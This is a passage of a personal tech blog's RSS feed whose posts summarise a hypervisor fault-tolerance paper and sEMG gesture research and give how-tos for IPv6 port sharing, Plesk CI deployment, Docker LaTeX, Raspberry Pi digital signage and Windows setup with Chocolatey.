500MB of memory. While running the system without any faults occurring, the PpVMM architecture is about 13% slower than the vanilla Xen implementation for I/O-intensive applications [1].</p><p>First, the robustness and performance of the different NIC driver and NetBack FT solutions are discussed: Vanilla Xen is not able to complete in case of a failure in those components. The fine-grained solution PpVMM solution is up to 3.6 times faster for detection and 1.4 times faster for repair times, compared to coarse-grained approaches (like the disaggregated pVM or TFD-Xen). However, TFD-Xen is able to recover faster than this solution but also requires physical backup NICs, which results in resource waste. The shadow driver approach also prevents packet losses by buffering failed packages. Such losses may lead to broken TCP sessions in the other solutions. While providing their robustness approaches, TFD-Xen has the most throughput, followed by the fine-grained PpVMM solution. The coarse-grained PpVMM approach performs worse, and Xoar is least efficient. Those numbers can be seen in Table 2, which shows the duration of the different FT approaches took to detect and recover from a NIC driver fault. With regards to the overhead, the pVM solution, as well as TFD-Xen, introduce significant overhead in latencies due to the periodic communication with the VMM [1].</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1656670027941/AtUHUPKko.png" alt="Table 2: Benchmark results" /><strong>Table 2:</strong> Benchmark results by Mvondo, Tchana, Lachaize, et al. to evaluate the robustness of the different FT solutions. A NIC driver fault was injected while executing a benchmark. The detection time (in milliseconds), recovery time (in seconds) and lost packets were recorded and listed in this table. The fastest approach to detect a fault (in 27.27 milliseconds) and recover without loosing any packets, was the fine-grained FT solution by . The quickstest recovery with only 0.8 seconds, was achieved by the Xoar project . <strong>Fault Detection Time (ms)</strong> <strong>Fault Recovery Time (s)</strong> <strong>Lost Packets</strong> Fine-grained FT <strong>27.27</strong> 4.7 <strong>0</strong> Corase-grained FT 98.2 6.9 425,866 TFD-Xen 102.1 <strong>0.8</strong> 2379 Xoar 52,000 6.9 1,870,921</p><p>Injecting a fault into the XenStore component during VM creation fails with the vanilla Xen and Xoar approach. In contrast, the disaggregated pVM solution completes this operation successfully and takes less time to detect crashes and data corruption. However, this solution introduces an overhead of about 20% more time because of the synchronization between the XenStore replicas. Xoar, on the other hand, not only takes longer to detect failures but also introduces an increased overhead [1].</p><p>The tool_uk unikernel introduces no overhead when it is not used, and no failure occurs. In case a failure happens during the VM migration process, vanilla Xen and Xoar both stop the migration, but the original VM, as well as the replica or new VM, keep running. This results in an inconsistent state that wastes resources because both VMs keep running [1].</p><p>Mvondo, Tchana, Lachaize, et al. also benchmarked the case when all components crash at the same time: While the PpVMM approach restores all components in about 15 seconds with a downtime of 8 seconds, vanilla Xen and TFD-Xen are not able to. Xoar also handles such failure, but with a higher overhead [1].</p><p>The scheduling optimizations, mentioned in Section 4 significantly improved the performance: On average, crashes are detected 5% faster, and the usage of implicit heartbeats decreased the CPU time by 13% [1].</p><h3 id="heading-7-discussion">7. Discussion</h3><p>The disaggregation of monolithic systems into functionality-specific microservices is a strategy commonly used in cloud applications. There are multiple advantages over a monolithic system, like improved security, fault tolerance, and resilience, as was shown in the previous sections.</p><p>The benchmarks, presented in Section 6, showed promising results. The architecture by Mvondo, Tchana, Lachaize, et al. introduces little overhead but significantly improves the FT [1]. While related research uses similar approaches, the combination of the disaggregation into separate unikernels and component-specific FT logic results in significantly improved FT.</p><p>However, the presented approach is based on the assumption that the hypervisor itself functions properly and is reliable [1]. While this might be true to some extent, thanks to state-of-the-art techniques, no measure can guarantee a 100% reliability. Further research could evaluate this approach under the assumption that the hypervisor will fail eventually. A complete FT solution could work even more reliable and performant when looking at the FT of the whole solution (VMM, pVM and guest VMs).</p><p>While Mvondo, Tchana, Lachaize, et al. explains the modifications of most unikernels in great detail, the disk_uk unikernel is not described at all. However, it is stated that the implementation is similar to net_uk and therefore, and due to space reasons, left out [1]. So one can only assume that it also uses a shared ring buffer index and timestamp of the requests to detect faults. It was also not evaluated, or the results of its evaluation were not presented.</p><p>While the figures and schematics in the original paper are very well made and clear, they mention one more unikernel. The so-called UKmonitor unikernel is not described in the text of the paper [1] itself. However, when analyzing the figures, it becomes apparent that this is the component that runs the feedback loop and monitors the drivers.</p><h3 id="heading-8-conclusion">8. Conclusion</h3><p>Most modern web services already use CC technologies to realize an architecture that is elastic, scalable, and available. These technologies often run on VMs that are virtualized and managed by VMMs. The pVM approach is a commonly used technique to make the VMM more lightweight, secure, and fault-tolerant. This makes the pVM the main weakness in terms of FT. Existing solutions introduce more overhead and take longer to detect or recover from faults. The novel approach by Mvondo, Tchana, Lachaize, et al. [1] , called Phoenix pVM-based VMM (PpVMM), achieves high resilience with low overhead by disaggregating the pVM into different unikernels. This improves the security and FT because of the additional isolation and explicit dependencies. Each component also includes specialized FT logic to improve its resilience. Global measures will handle the failure of multiple or even all components at the same time. The promising benchmark results provide an empirical demonstration of how well this system handles typical faults. This makes the PpVMM approach a great solution for hypervisors that power the internet as we know it.</p><h4 id="heading-references">References</h4><p>[1] D. Mvondo, A. Tchana, R. Lachaize, D. Hagimont, and N. de Palma, Fine-grained fault tolerance for resilient pVM-based virtual machine monitors, in 2020 50th Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN), IEEE, 2020, pp. 197208, ISBN: 9781728158099.<br />[2] Gartner. (2021). Gartner forecasts worldwide public cloud end-user spending to grow 23% in 2021: Cloud spending driven by emerging technologies becoming mainstream, [Online]. Available <a target="_blank" href="https://www.gartner.com/en/newsroom/press-releases/2021-04-21-gartner-forecasts-worldwide-public-cloud-end-user-spending-to-grow-23-percent-in-2021">here</a>.<br />[3] P. M. Mell and T. Grance, The NIST definition of cloud computing, Gaithersburg, MD, 2011.<br />[4] F. Cerveira, R. Barbosa, and H. Madeira, Experience report: On the impact of software faults in the privileged virtual machine, in 2017 IEEE 28th International Symposium on Software Reliability Engineering (ISSRE), IEEE, 2017, pp. 136145, isbn: 9781538609415.<br />[5] P. Colp, M. Nanavati, J. Zhu, W. Aiello, G. Coker, T. Deegan, P. Loscocco, and A. Warfield, Breaking up is hard to do, in Proceedings of the Twenty-Third ACM Symposium on Operating Systems PrinciplesSOSP 11, T. Wobber and P. Druschel, Eds., ACM Press, 2011, p. 189, ISBN: 9781450309776.<br />[6] M. M. Swift, M. Annamalai, B. N. Bershad, and H. M. Levy, Recovering device drivers, ACM Transactions on Computer Systems, vol. 24, no. 4, pp. 333360, 2006.<br />[7] H. Jo, H. Kim, J.-W. Jang, J. Lee, and S. Maeng, Transparent fault tolerance of device drivers for virtual machines, IEEE Transactions on Computers, vol. 59, no. 11, pp. 14661479, 2010.<br />[8] X. Xu, R. C. Chiang, and H. H. Huang, Xentry: Hypervisor-level soft error detection, in 2014 43rd International Conference on Parallel Processing, IEEE, 2014, pp. 341350, ISBN: 9781479956180</p>]]></description><link>https://blog.lohr.dev/phoenix-pvm-based-virtual-machine-monitors</link><guid isPermaLink="true">https://blog.lohr.dev/phoenix-pvm-based-virtual-machine-monitors</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 05 Sep 2021 15:13:08 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/unsplash/xbEVM6oJ1Fs/upload/v1641641939267/Pizeo_76b.jpeg</cover_image></item><item><title><![CDATA[sEMG Gesture Recognition Using Neural Networks]]></title><description><![CDATA[<p>My <a target="_blank" href="https://michidk.medium.com/smartphone-assisted-virtual-reality-c045bbcd5f05">most recent research</a> was about using Smartphones as interaction devices. This time I researched whether an approach using Neural Networks (NNs) to evaluate Surface Electromyography (sEMG) data can be used as a Human-Computer Interaction (HCI) interface. So basically, I wanted to trigger specific actions on a computer by using different hand gestures.</p><p>Photo by <a target="_blank" href="https://unsplash.com/@akeyodia?utm_source=medium&amp;utm_medium=referral">Akeyodia - Business Coaching Firm</a> on <a target="_blank" href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral">Unsplash</a></p><p>Previous research succeeded with this approach, but the performance (gesture detection accuracy) was not great. Also, the approach worked only on people that trained the NN beforehand. To fix those issues, I used a different approach, based on Transfer Learning (TL), that allows training a huge network with a lot of data from different persons, which is then adjusted to the person whose gestures shall be detected.</p><h4 id="heading-data-collection">Data Collection</h4><p>Data were captured using the discontinued Myo armband, which uses eight built-in sEMG sensors to capture muscle activity. Three gestures (the rock paper scissors gestures) were recorded by 13 participants in multiple sessions during the study. The data is available online and can be downloaded from <a target="_blank" href="https://github.com/michidk/myo-dataset">here</a>. Some of this data was used (after preprocessing) to train the base model, which is based on previous research but was then hyper-parameter tuned to my data.</p><h4 id="heading-base-model">Base Model</h4><p>The base model uses <a target="_blank" href="https://en.wikipedia.org/wiki/Long_short-term_memory">LSTM cells</a> in order to understand the data sequences from the sEMG armband. The hyper-parameter tuned architecture and more details on the data collection process can be found in my paper. The base model performed well on persons whose data it was trained with. But it was not capable of classifying data of previously unseen persons. So the network was not able to generalize very well, which is probably due to the fact that each persons arm is built differently but also due to subtle differences in armband placement.</p><h4 id="heading-transfer-learning">Transfer Learning</h4><p>Since the NN learned to classify gestures correctly on the persons it was trained with; we now have to teach it how to adjust to new persons. It already learned the differences between the different people it was trained with. When using it on new persons, it now has to learn what differences to look for (e.g., now a sensor maps to a different muscle due to different muscle structures). This is achieved with the help of Transfer Learning (TL).</p><blockquote><p>Transfer Learning describes a particular process of adapting a trained Neural Network to a different but related problem by leveraging the existing knowledge.</p></blockquote><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636804473/mDSAx-P1t.png" alt="The transfer layers are on top of the base model." /></p><p>TL model architecture</p><p>Instead of feeding the data directly to the base model, as was done previously, it is now fed into a second NN that translates the data to the base model. This second NN does not use LSTM cells but rather regular dense layers since it does not have to understand the connection between multiple timeframes.<br />Now before detecting data from previously unseen persons, a little bit of training data from that person has to be collected to train just the transfer layers. But not nearly as much as would be required in order to train a full regular network to detect gestures from that person.<br />The results looked very promising, and after training the transfer layers, the network performed quite well!</p><h4 id="heading-conclusion">Conclusion</h4><p>This strategy makes this approach a great strategy to implement sEMG-based HCI interfaces since it requires very little training data and takes very little time to record as well as train the transfer layers. It is quick and easy to use for the end-user, which is crucial to HCI interfaces. The accuracy was quite high, and it was able to perform in real-time. Even though there is a lot more to improve and research on, using TL on LSTM-based NN to classify sEMG data from different, previously unseen persons shows to be a good approach.</p><p>If you want to read the full paper, you can check it out <a target="_blank" href="https://wiki.tum.de/display/infar/%5B19WS+-+GR%5D+Person-Independent+sEMG+Gesture+Recognition+Using+LSTM+Networks+for+Human-Computer+Interaction">here</a>.</p>]]></description><link>https://blog.lohr.dev/semg-gesture-recognition-using-neural-networks</link><guid isPermaLink="true">https://blog.lohr.dev/semg-gesture-recognition-using-neural-networks</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 05 Sep 2021 11:03:34 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636809262/492-RLb6U.jpeg</cover_image></item><item><title><![CDATA[IPv6 Port Sharing using FRITZ!Box]]></title><description><![CDATA[<p>For the last few weeks, I worked on my Smarthome, which I built with <a target="_blank" href="https://www.home-assistant.io/">HomeAssistant</a>. But then a seemingly easy-to-fix problem occurred. Some services like Google Home needed to access my Smarthome from the public internet. Creating an IPv4 port share is really simple with my <a target="_blank" href="https://en.avm.de/products/fritzbox/">FRITZ!Box</a> router. But I dont have a dedicated IPv4. To still connect to IPv4 services, I use a shared IPv4 through a DS-Lite tunnel. This is also called Dual-Stack Lite.</p><p>So then, just create a port share on IPv6 to my Smarthome device.</p><p>Well, yes, but its not that easy.</p><ol><li>It just didnt work</li><li>The IPv6 prefix changes frequently, so we need to use a DNS server to redirect a domain to the ever-changing IPv6 address</li></ol><p>The reason that the IPv6 port share didnt work for me was that I trusted the FRITZ!Box to know my devices IPv6 address. But that was not the case. Upon further inspection, it became clear that the router indeed received my requests (thanks to tracert/traceroute) but did not route them to my device. And this was due to the fact that the router just didnt know about my devices IPv6 for some reason. When selecting the device from the network tab, all kinds of IPv6 addresses showed up, but not the one that my device displayed when executing the `ipconfig` (on Windows) or `ip addr` (on Linux) command.</p><p>So the fix is to create a port share and specify the IPv6 interface ID manually with the value that the device is actually using. Also, make sure that Enable PING6 and Open firewall for delegated IPv6 prefixes of this device are enabled.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641641855889/0MCoIwMSQ.png" alt /></p><p>So now the device should be reachable. Make sure that it also does not change its IPv6 so that you dont have to adjust the port share every day. But the IPv6 prefix assigned to your router will still change. To fix that, we can use a DynDNS service that supports IPv6 like <a target="_blank" href="https://dynv6.com/.">https://dynv6.com/.</a> You can choose a domain and a device IPv6 for an AAAA record, whose prefix is always updated to match the one from your router.</p>]]></description><link>https://blog.lohr.dev/ipv6-port-sharing-using-fritzbox</link><guid isPermaLink="true">https://blog.lohr.dev/ipv6-port-sharing-using-fritzbox</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Sun, 11 Apr 2021 15:03:27 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636800615/T_hLzHdED.png</cover_image></item><item><title><![CDATA[Automatically deploy websites to Plesk using GitHub Actions or GitLab CI]]></title><description><![CDATA[<p><a target="_blank" href="https://www.plesk.com/">Plesk</a> is a commonly used webspace control panel, and thanks to the free <a target="_blank" href="https://www.plesk.com/extensions/git/">Plesk Git extension</a>, it is possible to automatically deploy all your changes from any CI.</p><blockquote><p>Dreaming about a setup where you just merge to master, and they will be instantaneously live?</p></blockquote><p>Its possible! I use Hugo and NPM to build my static websites and deploy them automatically from GitHub/GitLab to my Plesk webspace.</p><p>So how is this possible? The secret is the <a target="_blank" href="https://www.plesk.com/extensions/git/">Plesk Git extension</a>, which can pull any git repository as soon as a webhook is called (this extension has to be installed by your provider, but with most providers, it is available). For that, we have to push our built artifact to another branch (similar to how GitHub-pages works), which is then deployed to the webspace.</p><p>The Plesk panel with the git extension installed.</p><h3 id="heading-step-1-modify-your-ci">Step 1: Modify your CI</h3><p>Here it depends on what CI you use. I will provide examples of how its done with GitHub Actions and GitLab CI. Generally, the steps are:</p><ol><li>Create an ssh key (deploy key) and put it into a CI variable to grant the CI push access to the repo</li><li>Use an image with git or install git and set up the key</li><li>Create a new branch, e.g., <code>deploy</code></li><li>Clone the deploy branch and delete everything besides the <code>.git</code> folder</li><li>Move the built artifact from the previous build step to the cloned (and now empty) folder</li><li>add, commit, push</li></ol><h4 id="heading-instructions-github">Instructions: GitHub</h4><p>First, generate an ssh key. With GitHub, you can then create a deploy key under <code>Settings-&gt;Deploy keys</code> by inserting the public key. Then make a repository secret named <code>SSH_PRIVATE_KEY</code> under <code>Settings-&gt;Secrets</code> and insert the private key.</p><p>Your Action definition might look like this (dont forget to change the repository URL):</p><p>GitHub Actions definition</p><h4 id="heading-instructions-gitlab">Instructions: GitLab</h4><p>First, generate an ssh key. With GitLab, you can then create a deploy key under <code>Settings-&gt; Repository-&gt;Deploy keys</code> by inserting the public key. Then make a protected variable named <code>SSH_PRIVATE_KEY</code> under <code>Settings-&gt;CI/CD-&gt;Variables</code> and insert the private key.</p><p>Your <code>.gitlab-ci.yml</code> CI definition might look like this (dont forget to change the repository URL):</p><p>GitLab CI definition</p><h3 id="heading-step-2-create-a-website-in-plesk">Step 2: Create a website in Plesk</h3><p>Next, create the website in Plesk and add a Git repository. If the repository is private, you have to add the public key given by Plesk to GitHub/GitLab as the deploy key for the SSH connection. Dont forget to select the deploy branch and correct folder on your web space! Instruction can be found <a target="_blank" href="https://docs.plesk.com/en-US/obsidian/reseller-guide/website-management/git-support/using-remote-git-hosting.75848/">here</a>.</p><p>Plesk always clones the main branch for the first time before you switch to the other branch. When switching, the old files wont get deleted, so you might have to clean up once and remove some of the old files from the web space folder.</p><h3 id="heading-step-3-configure-the-webhook">Step 3: Configure the webhook</h3><p>Plesk will give you a webhook-URL under the repository settings of the git extension in Plesk. Then configure GitHub/GitLab to call that Webhook URL every time a push happens.</p><p>With GitHub and GitLab, this can be done under <code>Settings -&gt; Webhooks</code>. Select push events and test the Webhook.</p><h3 id="heading-step-4-profit">Step 4: Profit</h3><p>Thats it! This should basically work with every CI that has access to your repository and the git Plesk extension.</p><p>Happy coding!</p>]]></description><link>https://blog.lohr.dev/deploy-websites-to-plesk-using-github-actions-or-gitlab-ci</link><guid isPermaLink="true">https://blog.lohr.dev/deploy-websites-to-plesk-using-github-actions-or-gitlab-ci</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 07 Apr 2021 13:24:08 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636797056/qTlHaWbFi.png</cover_image></item><item><title><![CDATA[My Favorite Quotes]]></title><description><![CDATA[<p>A list of my favorite quotes.</p><blockquote><p><em>A common mistake that people make when trying to design something completely foolproof is to underestimate the ingenuity of complete fools.  Douglas Adams</em></p></blockquote><p>From the ingenious book The Hitchhikers Guide to the Galaxy by Douglas Adams which is also famous for the number 42 ( <a target="_blank" href="https://en.wikipedia.org/wiki/The_Hitchhiker%27s_Guide_to_the_Galaxy_%28novel%29">Wiki</a>).</p><blockquote><p><em>The definition of insanity is doing the same thing over and over again and expecting a different result.  Unknown</em></p></blockquote><p>Even though this quote is often being attributed to Albert Einstein, the origin of this quote is actually not known ( <a target="_blank" href="https://quoteinvestigator.com/2017/03/23/same/">Source</a>). <a target="_blank" href="https://xkcd.com/1657/">Related xkcd</a>. Great movie version in the game Far Cry 3 ( <a target="_blank" href="https://www.youtube.com/watch?v=rKMMCPeiQoc">YouTube</a>).</p><blockquote><p><em>Intelligence is the ability to avoid doing work, yet getting the work done.  Linus Torvalds</em></p></blockquote><p>From the creator of the Linux kernel.</p><blockquote><p><em>We can only see a short distance ahead, but we can see plenty there that needs to be done.  Alan Turing</em></p></blockquote><p>Alan Turing is the father of theoretical computer science and artificial intelligence.</p><blockquote><p><em>Failure is an option here. If things are not failing, you are not innovating enough.  Elon Musk</em></p><p><em>If you cant explain it to a six year old, you dont understand it yourself.  Albert Einstein</em></p><p><em>Computers are incredibly fast, accurate, and stupid. Human beings are incredibly slow, inaccurate, and brilliant. Together they are powerful beyond imagination.  Albert Einstein</em></p><p><em>Any sufficiently advanced technology is indistinguishable from magic.   Arthur C. Clarke</em></p><p><em>Success today requires the agility and drive to constantly rethink, reinvigorate, react, and reinvent  Bill Gates</em></p><p><em>A brilliant solution to the wrong problem can be worse than no solution at all: solve the correct problem.  Don Norman</em></p><p><em>Computers are useless. They can only give you answers  Pablo Picasso</em></p><p><em>The people who are crazy enough to think they can change the world are the ones who do.  Steve Jobs</em></p><p><em>Luck Is What Happens When Preparation Meets Opportunity  Seneca</em></p><p><em>The perfect is the enemy of the good.  Voltaire</em></p></blockquote>]]></description><link>https://blog.lohr.dev/my-favorite-quotes</link><guid isPermaLink="true">https://blog.lohr.dev/my-favorite-quotes</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 11 Mar 2021 14:17:26 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/unsplash/EcWFOYOpkpY/upload/v1641642000699/r_JzRlKsa.jpeg</cover_image></item><item><title><![CDATA[Docker LaTeX Setup with vscode and Grammarly]]></title><description><![CDATA[<p>LaTeX is a document preparation system, which builds <code>.pdf</code> documents from text and commands for formatting. I use it to write academic research papers and other documents, like my <a target="_blank" href="https://github.com/michidk/resume">rsum</a>.</p><blockquote><p>I wanted an easy setup for a powerful LaTeX environment using an extensible IDE with Grammar.ly integration, running in Docker so my system stays clean.</p></blockquote><h4 id="heading-requirements">Requirements</h4><p>So the requirements for the setup were:</p><ul><li>Works on Windows and Linux</li><li>Uses <a target="_blank" href="https://code.visualstudio.com/">Visual Studio Code</a> (vscode) as editor</li><li><a target="_blank" href="https://grammarly.com">Grammar.ly</a> integration</li><li>Uses <a target="_blank" href="https://www.tug.org/texlive/">texlive-full</a> together with biber and latexmk</li><li> but without installing them to my system</li><li>Should not require more than a few clicks (or commands) to set up</li></ul><h4 id="heading-setup">Setup</h4><p>Thanks to the awesome vscode extension <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=James-Yu.latex-workshop">latex-workshop</a>, which <a target="_blank" href="https://github.com/James-Yu/LaTeX-Workshop/wiki/Install#using-docker">recently added Docker support,</a> this was quite easy to achieve.</p><p>Requirements:</p><ul><li>Docker</li><li>vscode</li></ul><p>Here are the steps:</p><ol><li>Install these two vscode extensions: <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=James-Yu.latex-workshop">latex-workshop,</a> <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=znck.grammarly">Grammarly</a></li><li>Set <em>latex-workshop.docker.enabled: true</em> in your vscode settings</li><li><a target="_blank" href="https://github.com/James-Yu/LaTeX-Workshop/wiki/Compile#building-the-document">Build your project</a> with latex workshop</li></ol><h4 id="heading-additional-setup">Additional Setup</h4><p>If you have a Grammarly account, log in by specifying</p><pre><code class="lang-jsonh">"grammarly.username": "your grammarly email",  "grammarly.password": "your grammarly password",</code></pre><p>I also like to add the following configuration values:</p><pre><code class="lang-jsonh">// Grammarly academic writing style  "grammarly.domain": "academic",</code></pre><pre><code class="lang-jsonh">// always open pdf preview in new vscode tab  "latex-workshop.view.pdf.viewer": "tab",</code></pre><p>I also use the vscode <a target="_blank" href="https://marketplace.visualstudio.com/items?itemName=pkief.material-icon-theme">Material Icon Theme</a> plugin in my LaTeX projects.</p><p>Which vscode plugins do you use in your LaTeX projects?</p><p>Have fun!</p><p>Header picture by <a target="_blank" href="https://unsplash.com/@prolabprints?utm_source=medium&amp;utm_medium=referral">ron dyar</a> on <a target="_blank" href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral">Unsplash</a></p>]]></description><link>https://blog.lohr.dev/docker-latex-setup</link><guid isPermaLink="true">https://blog.lohr.dev/docker-latex-setup</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Thu, 16 Apr 2020 11:34:48 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636830260/0GHsY1-Gy.jpeg</cover_image></item><item><title><![CDATA[Digital Signage Using a Raspberry Pi (Automated Setup)]]></title><description><![CDATA[<h3 id="heading-introduction">Introduction</h3><p>I was asked to develop a system for digital signage based on a Raspberry Pi 4, displaying upcoming events of a club based in Munich.</p><p>One requirement was to implement an automated setup pipeline so that it could be quickly deployed to new devices.</p><p>After a bit of research, I found <a target="_blank" href="https://dietpi.com/">DietPi</a>, which is a lightweight OS based on Debian. DietPi is configured using a config file. In there, system settings can be configured. DietPi will then set up your system on the first run using those settings. It is also possible to automatically launch a Chromium instance on a specific URL after starting up.</p><p>Our digital sign is implemented using Vue.js and a simple Bootstrap slider that cycles through images. It is served on a publicly accessible URL.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641639552816/6yEetVoGW.png" alt="Digital Signage" /></p><h3 id="heading-configuration">Configuration</h3><p>You can adjust the <a target="_blank" href="https://github.com/MichaIng/DietPi/blob/master/config.txt">standard Raspberry Pi config file</a> to your needs. In most cases, you want to disable the overscan using <code>disable_overscan=1</code> and disable the splash screen with <code>disable_splash=1</code>. If you are using a Raspberry Pi 4, you also want to switch to the new graphics driver by setting <code>dtoverlay=vc4-fkms-v3d</code>.</p><p>You can create a <code>dietpi-wifi.txt</code> file to specify a WiFi network, the Pi should automatically connect to:</p><p>The most important configuration is done in the <code>dietpi.txt</code>. Here you want to define a static IP, set an SSH server to launch for maintenance, and set the Pi to wait for a network with <code>CONFIG_BOOT_WAIT_FOR_NETWORK=2</code>. To enable the automatic setup, define <code>AUTO_SETUP_AUTOMATED=1</code>, <code>AUTO_SETUP_AUTOSTART_LOGIN_USER=root</code> and <code>AUTO_SETUP_INSTALL_SOFTWARE_ID=113</code> (the 113 instructs DietPi to install chromium, see <a target="_blank" href="https://github.com/MichaIng/DietPi/wiki/DietPi-Software-list">here</a>). Chromium will be automatically launched in kiosk mode by setting <code>AUTO_SETUP_AUTOSTART_TARGET_INDEX=11</code>.</p><p>Then configure Chromium. E.g.:</p><h3 id="heading-custom-automation-script">Custom Automation Script</h3><p>You can also define a script that runs once at the setup. This is useful if you want to pass custom arguments to the chromium executable and handle other logic automatically turning off the display during nighttime.</p><p>To be able to use a custom script, set <code>AUTO_SETUP_AUTOSTART_TARGET_INDEX=7</code> and <code>AUTO_SETUP_CUSTOM_SCRIPT_EXEC=0</code>.</p><p>Then create a new shell script called <code>Automation_Custom_Script.sh</code>. Add the following to that script to automatically run a script during startup:</p><p>These commands will also create the custom startup script, which will disable the screensaver and run Chromium on the URL specified in the <code>dietpi.txt</code> as before. The chromium arguments will launch Chromium in fullscreen app mode and block any messages from appearing.</p><h3 id="heading-turn-the-screen-off-during-the-night">Turn the Screen off During the Night</h3><p>To turn the screen off during certain times, add and adjust the following to the <code>Automation_Custom_Script.sh</code>:</p><h3 id="heading-install-the-raspberry-pi">Install the Raspberry Pi</h3><p>So let's set up the Raspberry Pi:</p><h4 id="heading-prepare-the-sd-card">Prepare the SD card</h4><ol><li>Download the DietPi image</li><li>Unzip the image</li><li>Insert SD card</li><li>Use <a target="_blank" href="https://www.balena.io/etcher/">balenaEtcher</a> to patch the image onto the SD card.</li><li>A) Put the <code>config.txt</code>, <code>dietpi.txt</code>, <code>dietpi-wifi.txt</code>, and <code>Automation_Custom_Script.sh</code> in the root (<code>/</code>) folder on the SD card. You might want to modify <code>dietpi-wifi.txt</code>, to adjust the WiFi credentials.</li></ol><h4 id="heading-setup">Setup</h4><ol><li>Safely eject the SD card and put it in the Raspberry Pi</li><li>Plug all your cables into the Raspberry Pi (making sure the power cable is last).</li><li>Let the setup run. You have to interact once and accept software terms by pressing enter. The website should open after the setup is finished.</li></ol>]]></description><link>https://blog.lohr.dev/digital-signage-using-a-raspberry-pi</link><guid isPermaLink="true">https://blog.lohr.dev/digital-signage-using-a-raspberry-pi</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 10 Apr 2020 11:51:12 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641639541422/ChkbAY_W7.jpeg</cover_image></item><item><title><![CDATA[Chocolatey & Boxstarter Automate Your Windows Setup]]></title><description><![CDATA[<p>I like to have the same configuration &amp; software on all my systems. I also do not want to spend hours on my setup, while resetting my machine or setting up a new one. With Linux, this has always been pretty easy: Just put your dotfiles on a git repo and clone them when you set up a new machine.</p><p>Microsoft is currently working on enhancing the development experience on Windows. They are actively working on a new <a target="_blank" href="https://github.com/microsoft/terminal">terminal emulator</a>, a <a target="_blank" href="https://github.com/microsoft/PowerToys/tree/master/src/modules/fancyzones">window manager</a>, a way to use <a target="_blank" href="https://ubuntu.com/wsl">Linux on your Windows machine</a> and more.</p><p>Two years ago they started working on a <a target="_blank" href="https://github.com/microsoft/windows-dev-box-setup-scripts">collection of scripts</a>, to get a new development machine ready with just one click. They have scripts to set up a WSL/Hyper-V, Docker/Kubernetes, NodeJS, Machine Learning, C++ desktop app, or Web stack development environment. While those are great, you can also use them as inspiration to create your own collection of scripts.</p><p>We need two tools for our automated setup:</p><ul><li><a target="_blank" href="https://chocolatey.org">Chocolatey</a>: A package manager for Windows (like <code>apt-get</code> for Linux), which can install most software with just a command</li><li><a target="_blank" href="https://boxstarter.org">Boxstarter</a>: A tool to automate the configuration of Windows settings and installation of Chocolatey packages.</li></ul><p>I recommend you to copy one of the scripts from <a target="_blank" href="https://github.com/microsoft/windows-dev-box-setup-scripts">Microsofts collection</a> and adjust it to your needs.</p><p>You can install packages using Chocolatey like so:</p><ol><li>Find your package on the <a target="_blank" href="https://chocolatey.org/packages">online database</a></li><li>Add the following to your Boxstarter script or open a Powershell terminal with admin privileges and execute: <code>choco install &lt;package name&gt; -y</code></li></ol><p>You can change your Windows settings by executing Boxstarter scripts like so:</p><ol><li>Have a look at the <a target="_blank" href="https://github.com/chocolatey/boxstarter">Boxstarter repository</a> and find a script you want to use.</li><li>Add the script to your Boxstarter setup script or open a Powershell terminal with admin privileges and execute it. For example: <code>Set-TaskbarOptions -AlwaysShowIconsOn</code></li></ol><p>You then can use your script to build a one-click-package by appending your public script/repo/gist to a URL, like so: <code>[http://boxstarter.org/package/url?https://raw.githubusercontent.com/GITHUB_DOMAIN/GITHUB_REPO/YOUR_BRANCH/RECIPE_NAME.ps1](http://boxstarter.org/package/url?https://raw.githubusercontent.com/GITHUB_DOMAIN/GITHUB_REPO/YOUR_BRANCH/RECIPE_NAME.ps1)</code></p>]]></description><link>https://blog.lohr.dev/automated-windows-setup</link><guid isPermaLink="true">https://blog.lohr.dev/automated-windows-setup</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 10 Apr 2020 09:31:17 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1641636833292/DQzs4O6u9.png</cover_image></item><item><title><![CDATA[Smartphone-Assisted Virtual Reality]]></title><description><![CDATA[<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1641636836355/fXngLna9V.jpeg" alt /></p><p>Photo by <a target="_blank" href="https://unsplash.com/@luxinteraction?utm_source=medium&amp;utm_medium=referral">Lux Interaction</a> on <a target="_blank" href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral">Unsplash</a></p><p>To conclude my bachelor in computer science, I wrote my thesis about using a Smartphone as an interaction device for Virtual Reality. This article is basically a summary of my thesis as a blog. Enjoy!</p><h3 id="heading-introduction">Introduction</h3><p>Virtual Reality is an emerging medium that enables presence and interactivity in a three-dimensional space. Conventional input devices like a mouse or a keyboard are made for two-dimensional environments. They require complex movements to complete tasks in a three-dimensional environment.</p><p><img src="Uploading..." alt />VR controllers by L. Yang on <a target="_blank" href="https://steamcommunity.com/games/250820/announcements/detail/1697188096865619876">Steam Community</a></p><p>This is why a variety of different input devices, specially made for Virtual Reality, exist. But most of them are expensive and need complex tracking systems.</p><p>Most people already own a smartphone that they use on 